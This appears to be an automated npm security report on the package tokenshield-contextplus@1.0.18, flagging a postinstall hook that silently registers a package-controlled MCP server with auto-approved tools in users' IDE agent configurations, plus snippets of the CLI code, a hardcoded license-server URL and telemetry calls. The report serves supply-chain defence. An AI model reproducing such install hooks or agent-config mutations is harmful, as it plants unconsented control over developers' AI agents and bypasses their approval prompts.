Loading npm security reports…

tokenshield-contextplus@1.0.18: AI-agent control-surface risk | LPM Firewall

registry / tokenshield-contextplus / 1.0.18

tokenshield-contextplus@1.0.18

AI Coding Token Economizer & Model Fatigue Shield for Cursor, Claude Code, Windsurf & VS Code

AI Security Review

scanned 7h ago · by lpm-firewall-ai

LPM flags this version as an AI-agent control-surface risk. The postinstall hook silently adds a package-controlled MCP server to existing user-level IDE configurations. This creates an unconsented AI-agent control surface during package installation.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Installing the package through npm, which runs its postinstall hook.

Impact

Supported IDEs can load the package’s MCP tools with automatic approval settings.

Mechanism

The hook invokes self-install; that command registers global MCP servers and writes a tokenshield entry that launches this package’s CLI with its MCP command.

Policy narrative

During npm installation, the silent postinstall command runs self-install. Even when called from node_modules, it registers global MCP servers; the package writes its CLI as the tokenshield server and grants automatic approval to its listed tools.

AI rationale

The postinstall hook silently mutates user-level AI-agent configuration and installs a package-controlled MCP server with auto-approved tools. This is unconsented install-time control-surface mutation, so the package should be blocked.

Evidence

package.jsonbin/cli.js~/.cursor/mcp.json~/.config/Code/User/mcp.json~/.config/Claude/claude_desktop_config.json~/.claude.json~/.codeium/windsurf/mcp_config.json

Decision evidence

Source & flagged code

11 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/cli.js self-install --silent || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/cli.js self-install --silent || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/cli.jsView file

11const os = require('os'); L12: const { execSync, spawn, execFileSync } = require('child_process'); L13: const readline = require('readline'); ... L17: L18: const HOME_DIR = os.homedir(); L19: const CONFIG_DIR = path.join(HOME_DIR, '.tokenshield'); L20: const VAULT_FILE = path.join(CONFIG_DIR, 'vault.json'); L21: const LICENSE_SERVER = process.env.TOKENSHIELD_LICENSE_SERVER || 'https://praveenojha.com/api/store/license/verify'; L22: ... L38: try { L39: const v = JSON.parse(fs.readFileSync(VAULT_FILE, 'utf8')); L40: if (!v.machineFingerprint) {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

bin/cli.jsView on unpkg · L11

24if (!fs.existsSync(CONFIG_DIR)) { L25: fs.mkdirSync(CONFIG_DIR, { recursive: true }); L26: } ... L28: // Resolve the active workspace for the whole process tree. The Python core writes L29: // telemetry/session state to <workspace>/.agents/telemetry so the IDE dashboard, L30: // CLI, and core scripts all read/write ONE live file. ... L60: }; L61: fs.writeFileSync(VAULT_FILE, JSON.stringify(defaultVault, null, 2)); L62: // Background sync with central license server in case this machine previously used trial tokens ... L69: function saveVault(data) { L70: fs.writeFileSync(VAULT_FILE, JSON.stringify(data, null, 2)); L71: }

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

bin/cli.jsView on unpkg · L24

11Trigger-reachable chain: scripts.postinstall -> bin/cli.js L11: const os = require('os'); L12: const { execSync, spawn, execFileSync } = require('child_process'); L13: const readline = require('readline'); ... L17: L18: const HOME_DIR = os.homedir(); L19: const CONFIG_DIR = path.join(HOME_DIR, '.tokenshield'); L20: const VAULT_FILE = path.join(CONFIG_DIR, 'vault.json'); L21: const LICENSE_SERVER = process.env.TOKENSHIELD_LICENSE_SERVER || 'https://praveenojha.com/api/store/license/verify'; L22: ... L38: try { L39: const v = JSON.parse(fs.readFileSync(VAULT_FILE, 'utf8')); L40: if (!v.machineFingerprint) {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

bin/cli.jsView on unpkg · L11

11const os = require('os'); L12: const { execSync, spawn, execFileSync } = require('child_process'); L13: const readline = require('readline');

High

Child Process

Package source references child process execution.

bin/cli.jsView on unpkg · L11

11const os = require('os'); L12: const { execSync, spawn, execFileSync } = require('child_process'); L13: const readline = require('readline'); ... L20: const VAULT_FILE = path.join(CONFIG_DIR, 'vault.json'); L21: const LICENSE_SERVER = process.env.TOKENSHIELD_LICENSE_SERVER || 'https://praveenojha.com/api/store/license/verify'; L22:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

bin/cli.jsView on unpkg · L11

11const os = require('os'); L12: const { execSync, spawn, execFileSync } = require('child_process'); L13: const readline = require('readline'); ... L17: L18: const HOME_DIR = os.homedir(); L19: const CONFIG_DIR = path.join(HOME_DIR, '.tokenshield'); L20: const VAULT_FILE = path.join(CONFIG_DIR, 'vault.json'); L21: const LICENSE_SERVER = process.env.TOKENSHIELD_LICENSE_SERVER || 'https://praveenojha.com/api/store/license/verify'; L22: ... L38: try { L39: const v = JSON.parse(fs.readFileSync(VAULT_FILE, 'utf8')); L40: if (!v.machineFingerprint) {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

bin/cli.jsView on unpkg · L11

•Manifest-trigger-reachable source links an external AI-agent control path to a behavior-bearing write operation. t' }); res.on('exit', (code) => { if (code === 0) { sendtelemetryheartbeat({ invocations: 1 }); if (scriptname === 'tokenshield_config.py') { const targetws = process.env.tokenshield_workspace || process.cwd(); injectworkspacechatrules(targetws); } } if (code !== 0) process.exit(code); }); } catch (err) { console.error(`${c.red}execution failed: ${err.message}${c.reset}`); } } function updateorinjectrule(filepath, baseheader, dynamicblock) { let content = ''; if (fs.existssync(filepath)) { content = fs.readfilesync(filepath, 'utf8'); } else { content = baseheader || ''; } const start

High

Trigger Reachable External Ai Agent Control Surface Mutation

Manifest-trigger-reachable source writes behavior-bearing configuration into a user or project AI-agent control surface.

bin/cli.jsView on unpkg

core/audio_context_compressor.pyView file

•path = core/audio_context_compressor.py kind = build_helper sizeBytes = 38038 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

core/audio_context_compressor.pyView on unpkg

core/setup_agent_tools.shView file

•matchType = normalized_sha256 matchedPackage = tokenshield-contextplus@1.0.16 matchedPath = core/setup_agent_tools.sh matchedIdentity = npm:dG9rZW5zaGllbGQtY29udGV4dHBsdXM:1.0.16 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

core/setup_agent_tools.shView on unpkg

Source & flagged code

11 flagged

package.jsonView file

Lines 1-31json

1{

2 "name": "tokenshield-contextplus",

3 "version": "1.0.18",

4 "description": "AI Coding Token Economizer & Model Fatigue Shield for Cursor, Claude Code, Windsurf & VS Code",

5 "main": "bin/cli.js",

6 "bin": {

7 "tokenshield": "bin/cli.js",

8 "contextplus": "bin/cli.js"

9 },

10 "scripts": {

11 "postinstall": "node bin/cli.js self-install --silent || true",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L11

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L11

12 "test": "node --test test/",

13 "sync:version": "node scripts/sync-version.js",

14 "build:plugin": "node scripts/build-plugin.js"

15 },

16 "files": [

17 "bin",

18 "core",

19 "assets",

20 "README.md",

21 "GUIDE.md",

22 "LICENSE.md",

23 "modules",

24 "skills",

25 "test"

26 ],

27 "keywords": [

28 "cursor",

29 "claude-code",

30 "windsurf",

31 "token-saver",

bin/cli.jsView file

Lines 1-44javascript

1#!/usr/bin/env node

2

3/**

4 * TokenShield & Context++ — Developer CLI

5 * ========================================

6 * Universal AI Coding Token Economizer & Model Fatigue Shield

7 */

8

9const fs = require('fs');

core/audio_context_compressor.pyView file

•path = core/audio_context_compressor.py kind = build_helper sizeBytes = 38038 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

core/audio_context_compressor.pyView on unpkg

core/setup_agent_tools.shView file

•matchType = normalized_sha256 matchedPackage = tokenshield-contextplus@1.0.16 matchedPath = core/setup_agent_tools.sh matchedIdentity = npm:dG9rZW5zaGllbGQtY29udGV4dHBsdXM:1.0.16 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

core/setup_agent_tools.shView on unpkg